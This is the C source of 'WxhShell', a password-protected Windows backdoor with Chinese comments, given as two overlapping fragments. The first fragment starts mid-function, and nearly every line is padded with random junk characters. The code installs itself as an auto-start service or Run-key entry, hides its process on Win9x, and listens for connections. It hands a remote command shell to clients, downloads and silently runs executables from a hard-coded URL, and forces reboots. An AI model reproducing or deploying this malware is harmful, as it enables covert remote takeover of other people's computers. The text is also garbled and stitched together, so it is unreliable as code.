    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <JKRdIx&1  
    if(Boot(SHUTDOWN)) adh=Kp e!w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /a\6&Eb  
    else { yAoJ?<4^W  
    closesocket(wsh); :luVsQ  
    ExitThread(0); h5&l#>8&  
    } LoLmT7  
    break; 8oG0tX3i  
    } 0l6z!@GhT  
  // 获取shell -DrR6kGjR  
  case 's': { %_wX9Z T  
    CmdShell(wsh); 2l#Ogn`k  
    closesocket(wsh); MJJy mi'b  
    ExitThread(0); SUXRWFl  
    break; |A0LYKni  
  } udDhJ?  
  // 退出 nsqs*$  
  case 'x': { N.C<Mo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zR/d:P?  
    CloseIt(wsh); 'H2TwSbIXI  
    break; iIq='xwa9  
    } mHo}, |  
  // 离开 ^ad p<?q4  
  case 'q': { +$_W4lf|E2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -$L53i&R  
    closesocket(wsh); <k'=_mC_  
    WSACleanup(); +qe!KPk2  
    exit(1); ow*) 1eo  
    break; ci>+Zi6  
        } * c] :,5  
  }  R:98'`X=  
  } D[m;rcl  
Ns2M8  
  // 提示信息 >&tPIrz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V<AT"vU[  
} 3qPj+@  
  } j0!Z 20  
m]BxGwT=m  
  return; A^2VH$j]+  
} 3(':4Tas  
U[=VW0  
// shell模块句柄 _h!OGLec  
int CmdShell(SOCKET sock) /c~z(wv  
{ 7wsn8_n9  
STARTUPINFO si; *,~d!Fc  
ZeroMemory(&si,sizeof(si)); yHl1:cf(y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _6&x$ *O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ozF>2`K }  
PROCESS_INFORMATION ProcessInfo;  2&O!<C j  
char cmdline[]="cmd"; ps"DL4*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ./LD  
  return 0; V& <vRIsN  
} ^$SI5WK&)  
* VH!<k[n  
// 自身启动模式 f n )m$\2  
int StartFromService(void) .v%H%z~Rl#  
{ sPn[FuT>+s  
typedef struct *{8K b>D  
{ Eym<DPu$n  
  DWORD ExitStatus; hm>JBc:n-  
  DWORD PebBaseAddress; `uy)][j-  
  DWORD AffinityMask; ulV)X/]1  
  DWORD BasePriority; xz5Jli  
  ULONG UniqueProcessId; jXkz,]Iy  
  ULONG InheritedFromUniqueProcessId; F6R+E;"4R'  
}   PROCESS_BASIC_INFORMATION; 5\}A8Ng  
-! Hn,93  
PROCNTQSIP NtQueryInformationProcess; L6Ykv/V  
NS @j`6/U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -;cZW.<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C1^=se  
l=U@j T  
  HANDLE             hProcess; Enn7p9&  
  PROCESS_BASIC_INFORMATION pbi; IlJ6&9  
-?`^^ v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); = ;#?CAa:  
  if(NULL == hInst ) return 0; DVt;I$  
An!1>`8r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2Jl6Xc8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x?Doe`/6?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S\K;h/;V  
}z1aKa9  
  if (!NtQueryInformationProcess) return 0; Y&KI/]ly,L  
\ni?_F(Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A;n3""  
  if(!hProcess) return 0; PjNOeI@G  
w~hO)1c],:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B}8xA}<  
"hi?/B#d  
  CloseHandle(hProcess); g-"@%ps  
x zu)``?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VV O C-:  
if(hProcess==NULL) return 0; P:vAU8d>  
{/G~HoY1i  
HMODULE hMod; )WavG1  
char procName[255]; 13wO6tS k  
unsigned long cbNeeded; [ZU6z?Pf  
]3]I`e{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =mxG[zDtQ  
XQ]noaU  
  CloseHandle(hProcess); &^Q-:Kxs8  
>%5Ld`c:SD  
if(strstr(procName,"services")) return 1; // 以服务启动 NpqMdd   
B-PN +P2  
  return 0; // 注册表启动 -/rP0h5#  
} /]m5HW(P7K  
S0\QZ/je  
// 主模块 U8qb2'a8  
int StartWxhshell(LPSTR lpCmdLine) U;u@\E@2  
{ ~kPHf_B;z  
  SOCKET wsl; ]W39HL  
BOOL val=TRUE; $q,2VH:Ip  
  int port=0; -qaJ@T+J+7  
  struct sockaddr_in door; 5H#f;L\k  
*Z\B9mx  
  if(wscfg.ws_autoins) Install(); U8Z(=*Z3  
.1<QB{4~v  
port=atoi(lpCmdLine); P}hHx<L  
@ -CZa^g  
if(port<=0) port=wscfg.ws_port; |N, KA|Gdq  
I WKq_Zjkz  
  WSADATA data; F,+nj?i!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vFm8T58 7  
yXP+$oox9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /ap3>xkt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ){^o"A?-:  
  door.sin_family = AF_INET; ,]RMa\Q4Wg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f Ne9as  
  door.sin_port = htons(port); .anXsjD%W  
zLEl/yPE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r(WR=D{  
closesocket(wsl); +.^BM/z^O  
return 1; t4(Z@X$  
} +*&bgGhT  
pFb }5Q  
  if(listen(wsl,2) == INVALID_SOCKET) { j<|I@0  
closesocket(wsl); vOIK6-   
return 1; A) {q 7WI  
} & -L$B  
  Wxhshell(wsl); k|V%*BvY>  
  WSACleanup(); Nki08qZ[  
zA/ tHlKc  
return 0; &z kuL  
%gUf  
} HZ%2WM  
-Uj)6PzGu  
// 以NT服务方式启动 ?5'EP|<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lz1RAp0R "  
{ "LZQ1P*ef$  
DWORD   status = 0; Bv-|#sdxm  
  DWORD   specificError = 0xfffffff; I!sh+e  
} )D E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZcJa:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G*;?&;*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LF6PKS  
  serviceStatus.dwWin32ExitCode     = 0; CVUA7eG+  
  serviceStatus.dwServiceSpecificExitCode = 0; ]mIcK  
  serviceStatus.dwCheckPoint       = 0; 8i$quHd&x  
  serviceStatus.dwWaitHint       = 0; i/UDda"E  
J:W|2U="  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E%Tpby}^'  
  if (hServiceStatusHandle==0) return; 4-j3&(  
24{Tl q3  
status = GetLastError(); -DAkVFsN  
  if (status!=NO_ERROR) xib?XzxGo  
{ !@>_5p>q*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vx'82CIC  
    serviceStatus.dwCheckPoint       = 0; :\hcl&W:  
    serviceStatus.dwWaitHint       = 0; j'L/eps?S  
    serviceStatus.dwWin32ExitCode     = status; ]k+XL*]'A  
    serviceStatus.dwServiceSpecificExitCode = specificError; S+wy^x@@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YkWv*l  
    return; arVu`pD*n  
  } ki|KtKAu_9  
LAs#g||M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @6["A'h  
  serviceStatus.dwCheckPoint       = 0; 4)Jtc2z7Z\  
  serviceStatus.dwWaitHint       = 0; c_V^~hq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j8Pqc]  
} CG#lpAs  
XotiKCk|Aq  
// 处理NT服务事件,比如:启动、停止 T'i^yd }*v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GK6/S_l%D+  
{ {*yFTP"93  
switch(fdwControl) ws/e~ T<c  
{ 69q#Zw[,,  
case SERVICE_CONTROL_STOP: # <?igtUO  
  serviceStatus.dwWin32ExitCode = 0; +"mS<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l<3X:)  
  serviceStatus.dwCheckPoint   = 0; 8-#_xsZ^;  
  serviceStatus.dwWaitHint     = 0; ov3FKMG?  
  { PI G3kJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nm#ISueh  
  } "aL.`^.  
  return; x."R_>  
case SERVICE_CONTROL_PAUSE: {beu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D;1?IeS  
  break; `GDWy^-Q+!  
case SERVICE_CONTROL_CONTINUE: -G'U\EXT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d9=i{i3  
  break; r~[Bzw"c  
case SERVICE_CONTROL_INTERROGATE: nu(;yIRP  
  break; Ppton+?(  
}; mV>l`&K=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); we("#s1=  
} {{:QtkN  
9-/u _$  
// 标准应用程序主函数 eW<|I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SAVA6 64  
{ k3PFCl~e  
+x!Hc  
// 获取操作系统版本 %[cZ,F=  
OsIsNt=GetOsVer(); kJ'rtz4QO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :QoW*Gs1  
0#G@F5; <  
  // 从命令行安装 42oW]b%P{;  
  if(strpbrk(lpCmdLine,"iI")) Install(); B}(r>8?dm  
~:JoKm`vU  
  // 下载执行文件 ?<;9=l\Q  
if(wscfg.ws_downexe) { QjlQsN!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #"qP4S2  
  WinExec(wscfg.ws_filenam,SW_HIDE); N%f% U  
} n 9>**&5L  
C ^IPddw>  
if(!OsIsNt) { W5*Kq^6Pd  
// 如果时win9x,隐藏进程并且设置为注册表启动 b)+;=o%  
HideProc(); w!%"b03q  
StartWxhshell(lpCmdLine); 4j1$1C{  
} Wa5B;X~  
else e S: 8Pn  
  if(StartFromService()) +dG3/vV  
  // 以服务方式启动 &wa2MNCG8  
  StartServiceCtrlDispatcher(DispatchTable); ,*kh{lJ  
else tE8aL{<R  
  // 普通方式启动 ]5O]=^ u0  
  StartWxhshell(lpCmdLine); ^? V9  
Z g.La<#  
return 0; fsjCu!  
} ,+4*\yI3l  
Jn&^5,J]F8  
drQI@sPp  
5O%?J-Hp  
=========================================== 4{QD: D(D  
fi~jT"_CI  
6}cN7wnm j  
3iIURSG@  
,<(0T$o E[  
],~H3u=s3  
" h'nXV{N0  
8B`w!@hf  
#include <stdio.h> Fhrj$  
#include <string.h> &J\<"3  
#include <windows.h> FeT| Fh:L  
#include <winsock2.h> M <nH  
#include <winsvc.h> 50CjH"3PZ`  
#include <urlmon.h> 6b1AIs8  
b OolBKV  
#pragma comment (lib, "Ws2_32.lib") :V0sKg|sS  
#pragma comment (lib, "urlmon.lib") $(]E$ek  
]7{ e~U  
#define MAX_USER   100 // 最大客户端连接数 bo-L|R&O  
#define BUF_SOCK   200 // sock buffer der\"?_.  
#define KEY_BUFF   255 // 输入 buffer 2b/Cs#-  
`$9sYv 2R  
#define REBOOT     0   // 重启 O)!S[5YI  
#define SHUTDOWN   1   // 关机 5c\dm  
`]=0oDG:1!  
#define DEF_PORT   5000 // 监听端口 1)#dgsa  
b~*CJ8Ad  
#define REG_LEN     16   // 注册表键长度 [X 9zrGHt  
#define SVC_LEN     80   // NT服务名长度 g/ 4ipcG;N  
[Y4Wm?  
// 从dll定义API E*x ct-m#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 74=zLDDS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c2u*<x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {G+iobQdd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /5Sd?pW;  
[(2XL"4D  
// wxhshell配置信息 jN AS'JV  
struct WSCFG { 6~-,.{Y  
  int ws_port;         // 监听端口 5.LfN{gE)  
  char ws_passstr[REG_LEN]; // 口令 +1]A$|qyW  
  int ws_autoins;       // 安装标记, 1=yes 0=no f28bBuv1?  
  char ws_regname[REG_LEN]; // 注册表键名 f~R+Q/Gtz`  
  char ws_svcname[REG_LEN]; // 服务名 {TZV^gT4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DB+oCE<.#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bao"iv~z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FeNNzV=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qfX26<q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "QvTn=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >9NC2%61S  
"&/lF[q  
}; @A|#/]S1  
&~c`p[  
// default Wxhshell configuration W9QVfe#s  
struct WSCFG wscfg={DEF_PORT, dJe 3DW :  
    "xuhuanlingzhe", _SnD)k+TgJ  
    1, :=*V i`  
    "Wxhshell", ZfXgVTJ`  
    "Wxhshell", &x\cEI)!  
            "WxhShell Service", 4t-l@zFWb  
    "Wrsky Windows CmdShell Service", [V_+/[AA)  
    "Please Input Your Password: ", Q-7L,2TL  
  1, i<(~J4}b  
  "http://www.wrsky.com/wxhshell.exe", NwVhJdo  
  "Wxhshell.exe" ]=p^32  
    }; "yc|ng  
I+,CiJ|4  
// 消息定义模块 c^<~Y$i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]_j= { 0%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p=m:^9/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !4T!@"#  
char *msg_ws_ext="\n\rExit."; 4peRbm  
char *msg_ws_end="\n\rQuit."; /Pxny3  
char *msg_ws_boot="\n\rReboot..."; xE{slDl  
char *msg_ws_poff="\n\rShutdown..."; D/afa8>LQH  
char *msg_ws_down="\n\rSave to "; (*_lLM@Cd  
LJ K0WWch  
char *msg_ws_err="\n\rErr!"; "|Kag|(qB  
char *msg_ws_ok="\n\rOK!"; m@UrFPZ  
^#XQ2UN  
char ExeFile[MAX_PATH]; pfs]pDjS:  
int nUser = 0; m Ga:~x  
HANDLE handles[MAX_USER]; ExM VGe  
int OsIsNt; &;sW4jnt  
~6K.5t7  
SERVICE_STATUS       serviceStatus; R9(Yi<CC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Dr76+9'i  
JLt%G^W >  
// 函数声明 ^X?uAX-RP|  
int Install(void); !b=W>5h  
int Uninstall(void); *^w}SE(  
int DownloadFile(char *sURL, SOCKET wsh); Ss0I{0  
int Boot(int flag); 8 C9ny}  
void HideProc(void); F B:nkUR`  
int GetOsVer(void); ~9"c64 q  
int Wxhshell(SOCKET wsl); }KO <II  
void TalkWithClient(void *cs); 7%W1M@  
int CmdShell(SOCKET sock); ; !C_}P  
int StartFromService(void); +&dkJ 4g[  
int StartWxhshell(LPSTR lpCmdLine); h?H|)a<^9  
$wn0oIuW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [k0/ZfFwV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vvu $8n  
M ziOpraj  
// 数据结构和表定义 f-634KuP  
SERVICE_TABLE_ENTRY DispatchTable[] = !??g:2  
{ K9]zUe&#w  
{wscfg.ws_svcname, NTServiceMain},  fZ&' _  
{NULL, NULL} "LSzF_mK  
}; $ai;8)C6  
5^R?+<rd  
// 自我安装 X7[gfKGL)N  
int Install(void) $$uMu{?0i  
{ M%Ksyr9  
  char svExeFile[MAX_PATH]; vt n T   
  HKEY key; CZ'm|^S  
  strcpy(svExeFile,ExeFile); K- $,:28  
&YcOmI/MM  
// 如果是win9x系统,修改注册表设为自启动 7A) E4f'  
if(!OsIsNt) { X# /c7w-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rLE+t(x(0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ##} 7cFX  
  RegCloseKey(key); A2;6Vz=z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hu1ZckIw?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rL&Mq}7QK  
  RegCloseKey(key); jE wt1S V  
  return 0; c&x1aF "B  
    } :5.F  
  } V#5$J Xp  
} ky-nP8L}  
else { 9e c},~(  
J3(E{w8Q  
// 如果是NT以上系统,安装为系统服务 4 R(m$!E!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HTv#2WX  
if (schSCManager!=0) QxN1N^a0  
{ qE|syA9  
  SC_HANDLE schService = CreateService .ANR|G  
  ( hSR+7qN<e  
  schSCManager, e(xuy'4r  
  wscfg.ws_svcname, @g4o8nH}  
  wscfg.ws_svcdisp, *nHuGla  
  SERVICE_ALL_ACCESS, )TKn5[<4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (Li0*wRb  
  SERVICE_AUTO_START, zsd1n`r  
  SERVICE_ERROR_NORMAL, 6}?d%K  
  svExeFile, p:K%-^  
  NULL, 4obW>  
  NULL, \gB ~0@[\7  
  NULL, #r]Z2Y]  
  NULL, .)_2AoT7[  
  NULL ~#jiX6<I  
  ); 7Xu#|k  
  if (schService!=0) ]@ke_' "  
  { i;U*Y *f  
  CloseServiceHandle(schService); "M!m-]  
  CloseServiceHandle(schSCManager); 6 Bdxdx*zt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %Zbm%YaW5  
  strcat(svExeFile,wscfg.ws_svcname); 1YJ?Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { biU_ImJ>0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |Tc4a4jS  
  RegCloseKey(key); zL9~gJ  
  return 0; 9Li*L&B)  
    } =>B"j`oR  
  } oI[rxr  
  CloseServiceHandle(schSCManager); xVbRCu#Z  
} 1:<(Q2X%  
} rhy-o?  
} `r.fD  
return 1; 5lJL[{  
} ^/#G,MxNy  
-{k8^o7$  
// 自我卸载 N0Y4m_dm*  
int Uninstall(void) y.J>}[\&x  
{ }8#Ed;%K  
  HKEY key; VXWV Pj#  
u~j H  
if(!OsIsNt) { R:YVmqd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FZ ?eX`,  
  RegDeleteValue(key,wscfg.ws_regname); !C05;x8{  
  RegCloseKey(key); :;yrYAyT3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z#-N$%^F  
  RegDeleteValue(key,wscfg.ws_regname); kx?Yin8K  
  RegCloseKey(key); rU&Y/  
  return 0; =CRptk6tS  
  } pR93T+X  
} Ao$k[#px  
} 8K?}!$fz  
else { J  sz=5`  
g:a[N%[C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W h9L!5  
if (schSCManager!=0) $b1>,d'oz  
{ S-88m/"]s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qbfX(`nS  
  if (schService!=0) q%e'WMG~n  
  { H~nX! sO  
  if(DeleteService(schService)!=0) { >MN"87U6  
  CloseServiceHandle(schService); ?%UiW7}j';  
  CloseServiceHandle(schSCManager); JJ ?'<)EF  
  return 0; e4SS'0|  
  } xxvt<J  
  CloseServiceHandle(schService); k[ zyR  
  } o]Ne|PEpO  
  CloseServiceHandle(schSCManager); Y;_F,4H  
} P.@dB.Ny  
} 7Tdx*1 U  
?x&}ammid  
return 1; jIT|Kk&]  
} qe{;EH*  
0VtjVz*C7&  
// 从指定url下载文件 Q|h$D~  
int DownloadFile(char *sURL, SOCKET wsh) zpT^:Ag  
{ qi7C.w;  
  HRESULT hr; GHd1?$  
char seps[]= "/"; ^ExuIe  
char *token; hE5?G;  
char *file; } SW p~3P  
char myURL[MAX_PATH]; 6,q_ M(;c  
char myFILE[MAX_PATH]; 7;AK=;  
<3BGW?=WP  
strcpy(myURL,sURL); l3>e-kP  
  token=strtok(myURL,seps); x0J W  
  while(token!=NULL) # euG$(  
  { q%])dZ!lE  
    file=token; #<b\BqYG  
  token=strtok(NULL,seps); 5)T[ha77u  
  } [;Lgbgt3f  
V<S6 a  
GetCurrentDirectory(MAX_PATH,myFILE); G&^8)S@1  
strcat(myFILE, "\\"); <i</pA  
strcat(myFILE, file); !>> A@3  
  send(wsh,myFILE,strlen(myFILE),0); %K|f,w=m  
send(wsh,"...",3,0); M' z.d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L<@*6QH  
  if(hr==S_OK)  5)'Y\~2  
return 0; ajk}&`Wj"  
else C0N}B1-MU  
return 1; O[t?*m1/  
d; YKw1  
} Slg *[r#  
n({%|O<|  
// 系统电源模块 F<g&t|@  
int Boot(int flag) 6c-3+,Y"#  
{ ?[zw5fUDS  
  HANDLE hToken; AF"7 _  
  TOKEN_PRIVILEGES tkp; InbB2l4G  
UzaAL9k  
  if(OsIsNt) { TU^ZvAO&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l1k&@1"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xRacgny:I  
    tkp.PrivilegeCount = 1; \XV8t|*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /Q(boY{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "NLuAB. P  
if(flag==REBOOT) { }W}(k2r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HL4=P,'  
  return 0; 3pvqF,"~D  
} 4!!PrXE  
else { Zw0KV%7hD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]dNNw`1\V  
  return 0;  d=^QK{8  
} ,H+Y1N4W(  
  } U[x$QG6m!  
  else { 4%~*}  
if(flag==REBOOT) { >4luZnWMI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XN Uw  
  return 0; i,<'AL )  
} Itr 4 Pr  
else { A_S7z*T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gjG SI'M0B  
  return 0; $3 -QM  
} Anyy  
} {guOAT- w  
@,.D]43  
return 1; _J6 Xq\  
} r6uN6XCM  
u:|^L]{  
// win9x进程隐藏模块 qH4|k 2Lm  
void HideProc(void) $+GDPYm'  
{ u*2?Gky  
zO"De~[9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v(yJGEf0  
  if ( hKernel != NULL ) %P s.r{%{  
  { C @<T(`o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r'{N_|:vv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v; i4ZSV^A  
    FreeLibrary(hKernel); xA7~"q&u  
  } tcXXo&ZS  
MF<ZB_@  
return; ]?1_.Wjtt  
} (J5} 1Q<K  
,3_Sf?  
// 获取操作系统版本 ]>(pj9)  
int GetOsVer(void) fV>d_6Lf}  
{ oMg-.!6  
  OSVERSIONINFO winfo; a_P|KRl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >"!ScYn  
  GetVersionEx(&winfo); 0}e?hbF%U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /.7RWy`  
  return 1; * rlV E  
  else =9ff9 83  
  return 0; 4xg)e` *U  
}  "LB MYZ  
pTq DPU  
// 客户端句柄模块 !Ea >tQ|  
int Wxhshell(SOCKET wsl) J/e]  
{ Wx]Xa]-  
  SOCKET wsh;  ]Pe>T&  
  struct sockaddr_in client; [yN+(^ i  
  DWORD myID; ./XX  
SZe55mK`  
  while(nUser<MAX_USER) wl]3g  
{ _"Bj`5S  
  int nSize=sizeof(client); M#o.O?.`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nQOdM#dP  
  if(wsh==INVALID_SOCKET) return 1; 1!(lpp  
Cs>`f, o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sk 7R;A  
if(handles[nUser]==0) -)(=~|,Pq/  
  closesocket(wsh); ~|S0E:*.  
else J$yq#LBbR@  
  nUser++; G-)e(u   
  } Nf!N;Cy?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iS+"Jsz  
.kFO@:  
  return 0; [(x<2MTj  
} CBf[$[e  
%k4Qx5`?d  
// 关闭 socket sPZwA0%  
void CloseIt(SOCKET wsh) hJ ^+asr  
{ b]z_2h~`  
closesocket(wsh); >D!R)W`  
nUser--; .+(V</  
ExitThread(0); F\+AA  
} 50 Gr\  
'(B -{}l  
// 客户端请求句柄 ~wuCa!!A  
void TalkWithClient(void *cs) yC1OeO8{  
{ {p1`[R&n#  
%dPk,Ylz  
  SOCKET wsh=(SOCKET)cs; J.h` 0$!  
  char pwd[SVC_LEN]; /gF)msUF  
  char cmd[KEY_BUFF]; ^OQP;5 #K  
char chr[1]; (K=0c 6M3=  
int i,j; %]I#]jR  
&zy%_U2%  
  while (nUser < MAX_USER) { fB9,# F  
6k;5T   
if(wscfg.ws_passstr) { 6vbKKn`ST  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E<+ G5j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~{lb`M^]h  
  //ZeroMemory(pwd,KEY_BUFF); X <8|uP4  
      i=0; I ==)a6^  
  while(i<SVC_LEN) { d lfjx  
5&Yt=)c\  
  // 设置超时 _f@,) n  
  fd_set FdRead; sc+%v1Y#}  
  struct timeval TimeOut; J@/4CSCR]  
  FD_ZERO(&FdRead); xwZ1Q,'C  
  FD_SET(wsh,&FdRead); \0 h>!u  
  TimeOut.tv_sec=8; 18NnXqe-m  
  TimeOut.tv_usec=0; ;6PU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VI4mEq,V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 95#]6*#[4!  
u=InE|SH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;&J>a8B$  
  pwd=chr[0]; kl:/PM^  
  if(chr[0]==0xd || chr[0]==0xa) { Ywhhs }f  
  pwd=0; qX\85dPn@}  
  break; >gzM-d  
  } [?7QmZK  
  i++; m   uO.  
    } K!CVS7  
5B:"$vC{=  
  // 如果是非法用户,关闭 socket QEqYqAGzu|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); / Q@4HV  
} eG(YORkR  
/~'C!so[v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wo&22,EB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +I5\ `By=  
X8Z) W?vu  
while(1) { QDYuJ&!h  
C2rG3X^~Jm  
  ZeroMemory(cmd,KEY_BUFF); S\N l|U[  
_Kaqx"D  
      // 自动支持客户端 telnet标准   BN]o!Y  
  j=0; j7&#R+f  
  while(j<KEY_BUFF) { f3! Oc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xSN;vrLHR  
  cmd[j]=chr[0]; N~/X.D4e#  
  if(chr[0]==0xa || chr[0]==0xd) { rR@]`@9  
  cmd[j]=0; ]_B<K5  
  break; F>{bVPh VA  
  } #g$I>\O<  
  j++; )wjpxr  
    } i695P}J2  
Pq+|*Y<|&  
  // 下载文件 X~VI}dJ  
  if(strstr(cmd,"http://")) { =:g\I6'a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =t_+ajY%  
  if(DownloadFile(cmd,wsh)) `m(ZX\W]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A94:(z;{  
